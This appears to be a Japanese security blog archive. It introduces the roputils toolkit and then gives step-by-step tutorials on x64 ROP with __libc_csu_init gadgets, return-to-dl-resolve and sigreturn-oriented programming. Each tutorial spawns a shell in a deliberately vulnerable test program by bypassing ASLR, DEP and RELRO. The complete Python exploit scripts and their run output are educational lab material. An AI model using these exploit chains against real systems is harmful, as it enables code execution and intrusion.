roputilsを作った
主にReturn-oriented Programmingを楽に行うためのツールキットを作った。 pwntoolsやzioなどのCTFフレームワークを参考にしており、機能もかなり近いものになっている。 また、CLIツールとしてchecksec.shやpattern_create.rb、pattern_offset.rb相当の機能をクローンした。
これを使うと、「x64でROP stager + Return-to-dl-resolve + __libc_csu_init gadgetsによるASLR+DEP回避をやってみる」のコードは次のように書ける。
from roputils import * fpath = sys.argv[1] offset = int(sys.argv[2]) rop = ROP(fpath) addr_stage = rop.section('.bss') + 0x800 buf = rop.fill(offset) buf += rop.call_chain_plt( ['write', 1, rop.got()+8, 8], ['read', 0, addr_stage, 400] ) buf += rop.pivot(addr_stage) p = Proc(rop.fpath) p.write(p32(len(buf)) + buf) print "[+] read: %r" % p.read(len(buf)) addr_link_map = p.read_p64() addr_dt_debug = addr_link_map + 0x1c8 buf = p64(rop.gadget('ret')) buf += rop.call_chain_ptr( [rop.got('read'), 0, addr_dt_debug, 8], [addr_stage, addr_stage + 295] ) buf += rop.dl_resolve(addr_stage + len(buf), 'system') print "[+] offset to string: %d" % len(buf) buf += rop.string('/bin/sh') buf += rop.fill(400, buf) p.write(buf) p.write_p64(0) p.interact()
設計方針は以下。
- 過度の抽象化、カプセル化を避ける。初期化後に内部状態の更新を行うものは、ベースアドレスなど最低限のもののみとする。
- デフォルト引数を活用する。たとえば、
ELF.got(self, name=None)
はnameを指定したときその関数のGOTアドレス、指定しないときGOTセクションの先頭アドレスを返す。また、p32(x)
、p64(x)
関数はxがintの場合はpack、strの場合はunpackする。
roputilsと名前をつけてはいるが、必要になるときもあるのでシェルコード、format stringのクラスも実装した。 必要に応じて改良していきたい。
関連リンク
glibcの "/bin/sh" はどこにあるのか
libcライブラリをstringsすると、"/bin/sh" などのパス文字列を見つけることができる。
$ strings -tx /lib/i386-linux-gnu/libc-2.15.so | grep " /" ... 161d98 /bin/sh 161ee4 /tmp 162bf8 /dev/tty 162c3d /proc/self/maps 1633bf /etc/localtime ...
これらの定義は、主に次のファイルにある。
/* Default search path. */ #define _PATH_DEFPATH "/usr/bin:/bin" /* All standard utilities path. */ #define _PATH_STDPATH \ "/usr/bin:/bin:/usr/sbin:/sbin:/usr/contrib/bin:/usr/old/bin" #define _PATH_BSHELL "/bin/sh" #define _PATH_CONSOLE "/dev/console" #define _PATH_CSHELL "/bin/csh" #define _PATH_DEVDB "/var/run/dev.db" #define _PATH_DEVNULL "/dev/null" #define _PATH_DRUM "/dev/drum" #define _PATH_GSHADOW "/etc/gshadow" #define _PATH_KMEM "/dev/kmem" #define _PATH_MAILDIR "/var/mail" #define _PATH_LASTLOG "/var/log/lastlog" #define _PATH_MAN "/usr/man" #define _PATH_MEM "/dev/mem" #define _PATH_MNTTAB "/etc/fstab" #define _PATH_MOUNTED "/var/run/mtab" #define _PATH_NOLOGIN "/etc/nologin" #define _PATH_PRESERVE "/var/preserve" #define _PATH_RWHODIR "/var/rwho" #define _PATH_SENDMAIL "/usr/sbin/sendmail" #define _PATH_SHADOW "/etc/shadow" #define _PATH_SHELLS "/etc/shells" #define _PATH_TTY "/dev/tty" #define _PATH_UNIX "/vmunix" #define _PATH_UTMP "/var/run/utmp" #define _PATH_UTMP_DB "/var/run/utmp.db" #define _PATH_VI "/usr/bin/vi" #define _PATH_WTMP "/var/log/wtmp" /* Provide trailing slash, since mostly used for building pathnames. */ #define _PATH_DEV "/dev/" #define _PATH_TMP "/tmp/" #define _PATH_VARDB "/var/db/" #define _PATH_VARRUN "/var/run/" #define _PATH_VARTMP "/var/tmp/"
_PATH_VI
が興味深いが、定義されているだけで実際には使われておらず、バイナリ中にも存在しないようである。
x64でROP stager + Return-to-dl-resolve + __libc_csu_init gadgetsによるASLR+DEP回避をやってみる
x64環境においてROPを行うには複数のレジスタをセットする必要があるが、glibcの__libc_csu_init関数を利用すると任意の3引数関数が呼び出せることが知られている。 ここでは、ROP stager + Return-to-resolveに加えてこれを利用することで、ASLR+DEPが有効な条件下でlibcバイナリに依存しない形でのシェル起動をやってみる。
環境
Ubuntu 12.04 LTS 64bit版
$ uname -a Linux vm-ubuntu64 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:39:31 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 12.04.4 LTS Release: 12.04 Codename: precise $ gcc --version gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3
脆弱性のあるプログラムを用意する
まず、スタックバッファオーバーフローを起こせるプログラムを書いてみる。
/* bof.c */ #include <unistd.h> int main() { char buf[100]; int size; read(0, &size, 8); read(0, buf, size); write(1, buf, size); return 0; }
このコードは最初に8バイトのデータ長を読み込み、続くデータをそのデータ長だけ読み込んだ後出力する。
ASLR、DEP有効、SSP無効でコンパイルし実行してみる。
$ sudo sysctl -w kernel.randomize_va_space=2 kernel.randomize_va_space = 2 $ gcc -fno-stack-protector bof.c $ echo -en "\x04\x00\x00\x00\x00\x00\x00\x00AAAA" | ./a.out AAAA
__libc_csu_initを使ったレジスタセットおよび関数呼び出し
コンパイルした実行ファイルをディスアセンブルすると、__libc_csu_init関数の中に次のようなコードが存在することがわかる。
$ objdump -d a.out 00000000004005a0 <__libc_csu_init>: ... 4005f0: 4c 89 fa mov rdx,r15 4005f3: 4c 89 f6 mov rsi,r14 4005f6: 44 89 ef mov edi,r13d 4005f9: 41 ff 14 dc call QWORD PTR [r12+rbx*8] 4005fd: 48 83 c3 01 add rbx,0x1 400601: 48 39 eb cmp rbx,rbp 400604: 75 ea jne 4005f0 <__libc_csu_init+0x50> 400606: 48 8b 5c 24 08 mov rbx,QWORD PTR [rsp+0x8] 40060b: 48 8b 6c 24 10 mov rbp,QWORD PTR [rsp+0x10] 400610: 4c 8b 64 24 18 mov r12,QWORD PTR [rsp+0x18] 400615: 4c 8b 6c 24 20 mov r13,QWORD PTR [rsp+0x20] 40061a: 4c 8b 74 24 28 mov r14,QWORD PTR [rsp+0x28] 40061f: 4c 8b 7c 24 30 mov r15,QWORD PTR [rsp+0x30] 400624: 48 83 c4 38 add rsp,0x38 400628: c3 ret
x64環境では関数を呼び出す前に引数をレジスタにセットする必要がある。 そこで、上のコードを利用すると、次のようにして任意の3引数関数を繰り返し呼ぶことができる。
- 0x400606にreturnして、スタックからrbx、rbp、r12、r13、r14、r15の各レジスタに値をセットする
- 続けて0x4005f0にreturnして、r13d、r14、r15レジスタの値をedi、rsi、rdxレジスタに移した上で、
r12+rbx*8
に置かれているアドレスを関数としてcallする rbp == rbx+1
となるようにレジスタを調整しておくことで、jne命令によるジャンプを通過する- 再び0x400606にたどりつくので、スタックから各レジスタに値をセットした上で2に戻る
ここで、rbxレジスタにセットする値として0を選べば、call命令はcall [r12]
とできる。
すなわち、rbx == 0
、rbp == 1
とした上で、r12レジスタに関数のアドレスが入っているアドレス(ポインタ)、r13 (=edi)、r14 (=rsi)、r15 (=rdx) レジスタに関数の引数をセットすることで、任意の3引数関数を呼ぶことができる。
特に、r12レジスタにセットするアドレスとしてGOTテーブルを利用すると、PLTにある任意のライブラリ関数を呼び出すことができる。
なお、このgadgetではrdxレジスタまでしかセットできないため、sendやrecvなど4引数以上の関数を呼び出したい場合には別途rcx、r8、r9レジスタに値をセットしておく必要がある。
__libc_csu_init関数のソースコードは次のようになっている。
void __libc_csu_init (int argc, char **argv, char **envp) { /* For dynamically linked executables the preinit array is executed by the dynamic linker (before initializing any shared object). */ #ifndef LIBC_NONSHARED (snip) #endif _init (); const size_t size = __init_array_end - __init_array_start; for (size_t i = 0; i < size; i++) (*__init_array_start [i]) (argc, argv, envp); }
ディスアセンブル結果と比べてみると、__init_array_start[i]
を呼ぶ箇所の前後で対応するレジスタの操作が行われていることがわかる。
エクスプロイトコードを書いてみる
最初に、実行ファイルからセクション情報およびディスアセンブル結果を出力しておく。
$ readelf -S a.out > dump.txt $ objdump -d a.out >> dump.txt
上で出力した情報をもとに、__libc_csu_init gadgetsを利用したエクスプロイトコードを書くと次のようになる。
# exploit.py import sys import struct from subprocess import Popen, PIPE bufsize = int(sys.argv[1]) addr_dynsym = 0x00000000004002b8 # readelf -S a.out addr_dynstr = 0x0000000000400330 # readelf -S a.out addr_relplt = 0x00000000004003b8 # readelf -S a.out addr_plt = 0x0000000000400420 # readelf -S a.out addr_got = 0x0000000000600fe8 # readelf -S a.out addr_bss = 0x0000000000601028 # readelf -S a.out addr_got_read = 0x601008 # objdump -d -j.plt a.out addr_got_write = 0x601000 # objdump -d -j.plt a.out addr_set_regs = 0x400606 # pop junk/rbx/rbp/r12/r13/r14/r15; ret addr_call_r12 = 0x4005f0 # mov rdx, r15; mov rsi, r14; mov edi, r13d; call [r12+rbx*8]; # -> add rbx, 1; cmp rbx, rbp; jne addr_call_r12; jmp addr_set_regs addr_leave_ret = 0x400595 # leave; ret addr_ret = 0x400596 # ret stacksize = 0x800 base_stage = addr_bss + stacksize buf1 = 'A' * bufsize buf1 += 'A' * (8-len(buf1)%8) buf1 += 'AAAAAAAA' * 2 buf1 += struct.pack('<Q', addr_set_regs) buf1 += 'AAAAAAAA' buf1 += struct.pack('<Q', 0) # rbx == 0 buf1 += struct.pack('<Q', 1) # rbp == rbx+1 buf1 += struct.pack('<Q', addr_got_write) # r12 -> call [r12] buf1 += struct.pack('<Q', 1) # r13 -> edi buf1 += struct.pack('<Q', addr_got+8) # r14 -> rsi buf1 += struct.pack('<Q', 8) # r15 -> rdx buf1 += struct.pack('<Q', addr_call_r12) buf1 += 'AAAAAAAA' buf1 += struct.pack('<Q', 0) # rbx == 0 buf1 += struct.pack('<Q', 1) # rbp == rbx+1 buf1 += struct.pack('<Q', addr_got_read) # r12 -> call [r12] buf1 += struct.pack('<Q', 0) # r13 -> edi buf1 += struct.pack('<Q', base_stage) # r14 -> rsi buf1 += struct.pack('<Q', 400) # r15 -> rdx buf1 += struct.pack('<Q', addr_call_r12) buf1 += 'AAAAAAAA' buf1 += 'AAAAAAAA' # rbx buf1 += struct.pack('<Q', base_stage) # rbp buf1 += 'AAAAAAAA' # r12 buf1 += 'AAAAAAAA' # r13 buf1 += 'AAAAAAAA' # r14 buf1 += 'AAAAAAAA' # r15 buf1 += struct.pack('<Q', addr_leave_ret) p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE) p.stdin.write(struct.pack('<Q', len(buf1))) p.stdin.write(buf1) print "[+] read: %r" % p.stdout.read(len(buf1)) addr_link_map = struct.unpack('<Q', p.stdout.read(8))[0] print "[+] addr_link_map = %x" % addr_link_map addr_dt_versym = addr_link_map + 0x1c8 addr_reloc = base_stage + 8*28 align_reloc = 0x18 - ((addr_reloc-addr_relplt) % 0x18) addr_reloc += align_reloc addr_sym = addr_reloc + 24 align_dynsym = 0x18 - ((addr_sym-addr_dynsym) % 0x18) addr_sym += align_dynsym addr_symstr = addr_sym + 24 addr_cmd = addr_symstr + 7 reloc_offset = (addr_reloc - addr_relplt) / 0x18 r_info = (((addr_sym - addr_dynsym) / 0x18) << 32) | 0x7 st_name = addr_symstr - addr_dynstr buf2 = 'AAAAAAAA' buf2 += struct.pack('<Q', addr_set_regs) buf2 += 'AAAAAAAA' buf2 += struct.pack('<Q', 0) # rbx == 0 buf2 += struct.pack('<Q', 1) # rbp == rbx+1 buf2 += struct.pack('<Q', addr_got_read) # r12 -> call [r12] buf2 += struct.pack('<Q', 0) # r13 -> edi buf2 += struct.pack('<Q', addr_dt_versym) # r14 -> rsi buf2 += struct.pack('<Q', 8) # r15 -> rdx buf2 += struct.pack('<Q', addr_call_r12) buf2 += struct.pack('<Q', addr_ret) # [r12] buf2 += struct.pack('<Q', 0) # rbx == 0 buf2 += struct.pack('<Q', 1) # rbp == rbx+1 buf2 += struct.pack('<Q', base_stage + 8*10) # r12 -> call [r12] buf2 += struct.pack('<Q', addr_cmd) # r13 -> edi buf2 += 'AAAAAAAA' # r14 -> rsi buf2 += 'AAAAAAAA' # r15 -> rdx buf2 += struct.pack('<Q', addr_call_r12) buf2 += 'A' * 0x38 # junk/rbx/rbp/r12/r13/r14/r15 buf2 += struct.pack('<Q', addr_plt) buf2 += struct.pack('<Q', reloc_offset) buf2 += 'AAAAAAAA' buf2 += 'A' * align_reloc buf2 += struct.pack('<Q', addr_got_read) # Elf64_Rela buf2 += struct.pack('<Q', r_info) buf2 += struct.pack('<Q', 0) buf2 += 'A' * align_dynsym buf2 += struct.pack('<I', st_name) # Elf64_Sym buf2 += struct.pack('<I', 0x12) buf2 += struct.pack('<Q', 0) buf2 += struct.pack('<Q', 0) buf2 += 'system\x00' buf2 += '/bin/sh <&2 >&2\x00' buf2 += 'A' * (400-len(buf2)) p.stdin.write(buf2) p.stdin.write(struct.pack('<Q', 0)) p.wait()
このコードは、オーバーフローさせるバッファのサイズを引数に取る。 コードの内容を簡単にまとめると次のようになる。
- __libc_csu_init gadgetsを使いwrite関数を呼び出し、GOTセクションにあるlink_map構造体のアドレスを書き出す
- さらにread関数を呼び出しデータを読み込んだ後、
leave; ret
gadgetによりstack pivotを行う - __libc_csu_init gadgetsを使いread関数を呼び出し、x64環境におけるReturn-to-dl-resolveの下準備として
l->l_info[VERSYMIDX (DT_VERSYM)]
にNULLをセットする - 適当な引数をセットした上で、Return-to-dl-resolveを行う
引数をセットして実行してみる。
$ python exploit.py 100 [+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x06\x06@\x00\x00\x00\x00\x00AAAAAAAA\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x10`\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xf0\x0f`\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\xf0\x05@\x00\x00\x00\x00\x00AAAAAAAA\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x08\x10`\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00(\x18`\x00\x00\x00\x00\x00\x90\x01\x00\x00\x00\x00\x00\x00\xf0\x05@\x00\x00\x00\x00\x00AAAAAAAAAAAAAAAA(\x18`\x00\x00\x00\x00\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x95\x05@\x00\x00\x00\x00\x00' [+] addr_link_map = 7f39f26fe2c8 $ id uid=1000(user) gid=1000(user) groups=1000(user) $
__libc_csu_init gadgetsにより、ASLRおよびDEPが有効なx64環境で、libcバイナリの情報を利用することなくシェルが起動できていることが確認できた。
関連リンク
- Ghost in the Shellcode 2014 - fuzzy
- v0id s3curity: Some universal gadget sequence for Linux x86_64 ROP payload
- untitled: ROP with common functions in Ubuntu/Debian x86
- Caonguyen: Advance exploitation: ROP with libc function
- Out Of Control: Overcoming Control-Flow Integrity (IEEE S&P 2014)
- Linux x86 Program Start Up
x64でSigreturn Oriented ProgrammingによるASLR+DEP+RELRO回避をやってみる
x64環境では、x86環境とは異なり関数の引数はレジスタにセットされる。
このため、ROPにおいてはpop rdi; ret
などのgadgetを使い、複数のレジスタに値をセットしてから関数にジャンプする必要がある。
また、x64ではx86に存在したpushad、popad命令がなくなったため、popad命令を利用して複数のレジスタの値を一度にセットすることはできない。
しかし、sigreturnシステムコールを使うと、popad命令のようにスタックに置いた値を複数のレジスタに一度にセットすることができる。
これを利用すると任意のシステムコールを呼ぶことができ、これを連続して行う手法はSigreturn Oriented Programmingとして知られている。
ここでは、x64環境かつASLR+DEP+RELROが有効な条件下において、Sigreturn Oriented Programmingを使ったシェル起動をやってみる。
環境
Ubuntu 12.04 LTS 64bit版
$ uname -a Linux vm-ubuntu64 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:39:31 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 12.04.4 LTS Release: 12.04 Codename: precise $ gcc --version gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3
sigreturnシステムコールによる任意のシステムコール実行
シグナルハンドラはユーザが実装するものであるため、その実体となる機械語はメモリ上ではユーザ空間に配置される。 したがって、ユーザ空間のプロセスにシグナルが送られたときは、ユーザ空間からカーネル空間に移った後、再度ユーザ空間に戻りシグナルハンドラが実行されることになる。 しかし、シグナルハンドラの実行が終わったとき、元の実行状態に戻るには何かしらの工夫を行う必要がある。 これは、カーネル空間にはユーザ空間での実行状態は記録されないためである。
Linuxでは、シグナルを受け取ったときの実行状態をユーザ空間のスタックに退避させ、シグナルハンドラの実行が終わったタイミングでこれを復元することにより元の実行状態に戻るということが行われる。 この復元は、sigreturnシステムコールを実行することにより行われる。
x64環境において、システムコールテーブルからsigreturnを探すと次のようになっている。
24 15 64 rt_sigreturn stub_rt_sigreturn
sigreturnシステムコールのシステムコール番号は15であり、strb_rt_sigreturnにあるコードが実行されることがわかる。 この実装について調べると、次のようになっている。
34 #define stub_rt_sigreturn sys_rt_sigreturn
565 asmlinkage long sys_rt_sigreturn(void) 566 { 567 struct pt_regs *regs = current_pt_regs(); 568 struct rt_sigframe __user *frame; 569 unsigned long ax; 570 sigset_t set; 571 572 frame = (struct rt_sigframe __user *)(regs->sp - sizeof(long)); 573 if (!access_ok(VERIFY_READ, frame, sizeof(*frame))) 574 goto badframe; 575 if (__copy_from_user(&set, &frame->uc.uc_sigmask, sizeof(set))) 576 goto badframe; 577 578 set_current_blocked(&set); 579 580 if (restore_sigcontext(regs, &frame->uc.uc_mcontext, &ax)) 581 goto badframe; 582 583 if (restore_altstack(&frame->uc.uc_stack)) 584 goto badframe; 585 586 return ax; 587 588 badframe: 589 signal_fault(regs, frame, "rt_sigreturn"); 590 return 0; 591 }
sys_rt_sigreturn関数では、スタックに置かれたrt_sigframe構造体を参照し、その中にあるucメンバからレジスタの値を復元するなどしている。 ここで、x64環境におけるrt_sigframe構造体の定義をまとめると次のようになる。
- Linux/arch/x86/include/asm/sigframe.h
- Linux/include/uapi/asm-generic/ucontext.h
- Linux/arch/x86/include/uapi/asm/signal.h
- Linux/arch/x86/include/uapi/asm/sigcontext.h
- Linux/arch/x86/include/uapi/asm/signal.h
63 struct rt_sigframe { 64 char __user *pretcode; 65 struct ucontext uc; 66 struct siginfo info; 67 /* fp state follows here */ 68 };
4 struct ucontext { 5 unsigned long uc_flags; 6 struct ucontext *uc_link; 7 stack_t uc_stack; 8 struct sigcontext uc_mcontext; 9 sigset_t uc_sigmask; /* mask last for extensibility */ 10 };
127 typedef struct sigaltstack { 128 void __user *ss_sp; 129 int ss_flags; 130 size_t ss_size; 131 } stack_t;
160 struct sigcontext { 161 __u64 r8; 162 __u64 r9; 163 __u64 r10; 164 __u64 r11; 165 __u64 r12; 166 __u64 r13; 167 __u64 r14; 168 __u64 r15; 169 __u64 rdi; 170 __u64 rsi; 171 __u64 rbp; 172 __u64 rbx; 173 __u64 rdx; 174 __u64 rax; 175 __u64 rcx; 176 __u64 rsp; 177 __u64 rip; 178 __u64 eflags; /* RFLAGS */ 179 __u16 cs; 180 __u16 gs; 181 __u16 fs; 182 __u16 __pad0; 183 __u64 err; 184 __u64 trapno; 185 __u64 oldmask; 186 __u64 cr2; 187 struct _fpstate __user *fpstate; /* zero when no FPU context */ 188 #ifdef __ILP32__ 189 __u32 __fpstate_pad; 190 #endif 191 __u64 reserved1[8]; 192 };
16 typedef unsigned long sigset_t;
sigreturnシステムコールが呼ばれたときのrspがrt_sigframe構造体の中のucontext構造体の位置にあることに注意し、スタックの状態をまとめると次のようになる。
uc_flags <- rsp &uc_link &ss_sp (stack_t) ss_flags | ss_size v r8 (struct sigcontext) r9 | r10 | r11 | r12 | r13 | r14 | r15 | rdi | rsi | rbp | rbx | rdx | rax | rcx | rsp | rip | eflags | cs/gs/fs | err | trapno | oldmask | cr2 | &fpstate | reserved1[0] | reserved1[1] | reserved1[2] | reserved1[3] | reserved1[4] | reserved1[5] | reserved1[6] | reserved1[7] v uc_sigmask (sigset_t)
sigreturnシステムコールが呼ばれると、スタックに置かれたucontext構造体の値からレジスタの値などが復元される。 そして、ripから実行が再開される。
これを利用し、スタックに上のようなフレームを置いた状態でsigreturnシステムコールを呼ぶと、任意のシステムコールを実行することができる。
具体的には、raxレジスタにシステムコール番号、rdi、rsi、rdx、rcx、r8、r9レジスタにシステムコールの引数、ripにsyscall; ret
となるROP gadgetのアドレス、rspにstack pivotするアドレスを置く。
ここで、csレジスタは0x33となるようにする必要がある。
また、&fpstateにはFPU(浮動小数点数演算装置)の状態を表す_fpstate構造体のアドレスを置く必要があるが、NULLを置くこともできる。
NULLを置いた場合は、FPUレジスタは変更されない。
この方法を行うにあたっての条件は次のようになる。
- スタックにNULL文字を置けること
- raxに15をセットできること、あるいは
pop rax; ret
(58 C3) などが置かれた実行可能領域のアドレス syscall; ret
(0F 05 C3) が置かれた実行可能領域のアドレス
Sigreturn Oriented Programmingによるシステムコールの連続実行
上の方法を使うと任意のシステムコールを実行することができるが、raxが15となるように調整できれば再びシステムコールを実行することができる。 たとえば、x64環境でのreadシステムコールを利用した次のような方法がある。
- sigreturnシステムコールを使い、
read(fd, fixed_writable_addr, 306)
を実行する。 - readの戻り値としてraxレジスタに306がセットされる。これはsyncfsのシステムコール番号である。
- rspに
syscall; ret
を置いておくことで、syncfs(fd)
を実行する。 - syncfsの戻り値としてraxレジスタに0がセットされる。これはreadのシステムコール番号である。
- さらにrspに
syscall; ret
を置いておくことで、read(fd, fixed_writable_addr, 306)
を再び実行する。 - 送り込む文字を15バイトとすることで、raxレジスタに15をセットする。これはsigreturnのシステムコール番号である。
- sigreturnを使い、任意のシステムコールを実行する。
fixed_writable_addrは固定の書き込み可能アドレスであり、実行ファイルのbssセグメントのアドレスなどが利用できる。
脆弱性のあるプログラムを用意する
スタックバッファオーバーフローを起こせるコードを書いてみる。
/* bof.c */ #include <unistd.h> int main() { char buf[100]; int size; /* pop rax; ret; syscall; ret; */ char chaet[] = "\x58\xc3\x90\x90\x0f\x05\xc3"; read(0, &size, 8); read(0, buf, size); write(1, buf, size); return 0; }
このコードは最初に8バイトのデータ長を読み込み、続くデータをそのデータ長だけ読み込んだ後出力する。
また、このコードではROP gadgetとしてpop rax; ret
、syscall; ret
を意図的に埋め込んでいる。
実際は、実行ファイルのバイナリ中にこれらのgadgetがないか探す必要がある。
ASLR、DEP、RELRO有効、SSP無効でコンパイルし実行してみる。
$ sudo sysctl -w kernel.randomize_va_space=2 kernel.randomize_va_space = 2 $ gcc -fno-stack-protector -Wl,-z,relro,-z,now bof.c $ echo -en "\x04\x00\x00\x00\x00\x00\x00\x00AAAA" | ./a.out AAAA
エクスプロイトコードを書いてみる
上で説明した内容をもとに、Sigreturn Oriented Programmingを行うエクスプロイトコードを書くと次のようになる。
# exploit.py import sys import struct from subprocess import Popen, PIPE bufsize = int(sys.argv[1]) addr_bss = 0x0000000000601028 # readelf -S a.out addr_pop_rax = 0x0040054f # 0x0040054f: pop rax ; ret ; (1 found) addr_syscall = 0x00400556 # 0x00400556: syscall ; ret ; (1 found) # addr_syscall = 0xffffffffff600007 stack_size = 0x800 base_stage = addr_bss + stack_size buf1 = 'A' * bufsize buf1 += 'A' * (8-len(buf1)%8) buf1 += 'AAAAAAAA' * 2 buf1 += struct.pack('<Q', addr_pop_rax) buf1 += struct.pack('<Q', 15) buf1 += struct.pack('<Q', addr_syscall) buf1 += 'AAAAAAAA' * 5 buf1 += struct.pack('<Q', 0) * 8 # r8-r15 buf1 += struct.pack('<Q', 0) # rdi buf1 += struct.pack('<Q', base_stage) # rsi buf1 += struct.pack('<Q', 0) # rbp buf1 += struct.pack('<Q', 0) # rbx buf1 += struct.pack('<Q', 306) # rdx buf1 += struct.pack('<Q', 0) # rax buf1 += struct.pack('<Q', 0) # rcx buf1 += struct.pack('<Q', base_stage) # rsp buf1 += struct.pack('<Q', addr_syscall) # rip buf1 += struct.pack('<Q', 0) # eflags buf1 += struct.pack('<Q', 0x33) # csgsfs buf1 += 'AAAAAAAA' * 4 buf1 += struct.pack('<Q', 0) # &fpstate buf2 = struct.pack('<Q', addr_syscall) buf2 += struct.pack('<Q', addr_syscall) buf2 += struct.pack('<Q', addr_syscall) buf2 += 'AAAAAAAA' * 5 buf2 += struct.pack('<Q', 0) * 8 # r8-r15 buf2 += struct.pack('<Q', base_stage + 8*34) # rdi buf2 += struct.pack('<Q', base_stage + 8*32) # rsi buf2 += struct.pack('<Q', 0) # rbp buf2 += struct.pack('<Q', 0) # rbx buf2 += struct.pack('<Q', 0) # rdx buf2 += struct.pack('<Q', 59) # rax buf2 += struct.pack('<Q', 0) # rcx buf2 += struct.pack('<Q', base_stage) # rsp buf2 += struct.pack('<Q', addr_syscall) # rip buf2 += struct.pack('<Q', 0) # eflags buf2 += struct.pack('<Q', 0x33) # csgsfs buf2 += 'AAAAAAAA' * 4 buf2 += struct.pack('<Q', 0) # &fpstate buf2 += struct.pack('<Q', base_stage + 8*34) buf2 += struct.pack('<Q', 0) buf2 += '/bin/sh\x00' buf2 += 'A' * (306-len(buf2)) p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE) p.stdin.write(struct.pack('<Q', len(buf1))) p.stdin.write(buf1) print "[+] read: %r" % p.stdout.read(len(buf1)) p.stdin.write(buf2) p.stdin.write('A' * 15) import time time.sleep(1e-3) p.stdin.write('exec <&2 >&2\n') p.wait()
このコードは、オーバーフローさせるバッファのサイズを引数に取る。 コードの内容を簡単にまとめると次のようになる。
pop rax; ret
によりraxに15をセット- sigreturnシステムコール(15)を使い、readシステムコール(0)を実行、データを306バイト読み込みstack pivotを行う
- syncfsシステムコール(306)を使い、raxに0をセット
- readシステムコール(0)を使い、データを15バイト読み込みraxに15をセット
- sigreturnシステムコール(15)を使い、execveシステムコール(59)を実行、シェルを起動する
ここで、括弧の中の数字はx64環境におけるシステムコール番号である。 また、2度目のreadシステムコールで15バイトのみ読み込ませるため、エクスプロイトコード側で1msのsleepを行っている。
引数をセットし実行してみる。
$ python exploit.py 100 [+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAO\x05@\x00\x00\x00\x00\x00\x0f\x00\x00\x00\x00\x00\x00\x00V\x05@\x00\x00\x00\x00\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00(\x18`\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x002\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00(\x18`\x00\x00\x00\x00\x00V\x05@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x003\x00\x00\x00\x00\x00\x00\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\x00\x00\x00\x00\x00\x00\x00' id[ENTER] uid=1000(user) gid=1000(user) groups=1000(user) [CTRL+D]
Sigreturn Oriented Programmingにより、x64環境かつASLR+DEP+RELROが有効な条件下でシェルが起動できていることが確認できた。
なお、straceコマンドにより実行時のシステムコールをトレースすると次のようになる。
ここでは-f
オプションを使い、子プロセスについてもトレースを行う。
$ strace -f python exploit.py 100 >/dev/null execve("/usr/bin/python", ["python", "exploit.py", "100"], [/* 18 vars */]) = 0 ... clone(Process 14096 attached child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f9ae8f789d0) = 14096 ... [pid 14096] execve("./a.out", ["./a.out"], [/* 18 vars */] <unfinished ...> ... [pid 14096] rt_sigreturn(0x1) = 0 [pid 14096] read(0, "V\5@\0\0\0\0\0V\5@\0\0\0\0\0V\5@\0\0\0\0\0AAAAAAAA"..., 306) = 306 [pid 14096] syscall_306(0, 0x601828, 0x132, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0) = 0 [pid 14096] read(0, "AAAAAAAAAAAAAAA", 306) = 15 [pid 14096] rt_sigreturn(0) = 59 [pid 14096] execve("/bin/sh", ["/bin/sh"], [/* 0 vars */] <unfinished ...> ...
上の結果から、指定した通りの順番でシステムコールが実行されていることが確認できる。
vsyscallページのROP gadgetについて
Linux 3.3より前のバージョンのx64環境では、0xffffffffff600000の固定アドレスにvsyscallと呼ばれるメモリページが存在する。
このページにはgettimeofthedayシステムコールなどを呼び出すコードが置かれており、ROP gadgetとしてsyscall; ret
が入っている。
実際にgdbを使って調べてみると、次のようになる。
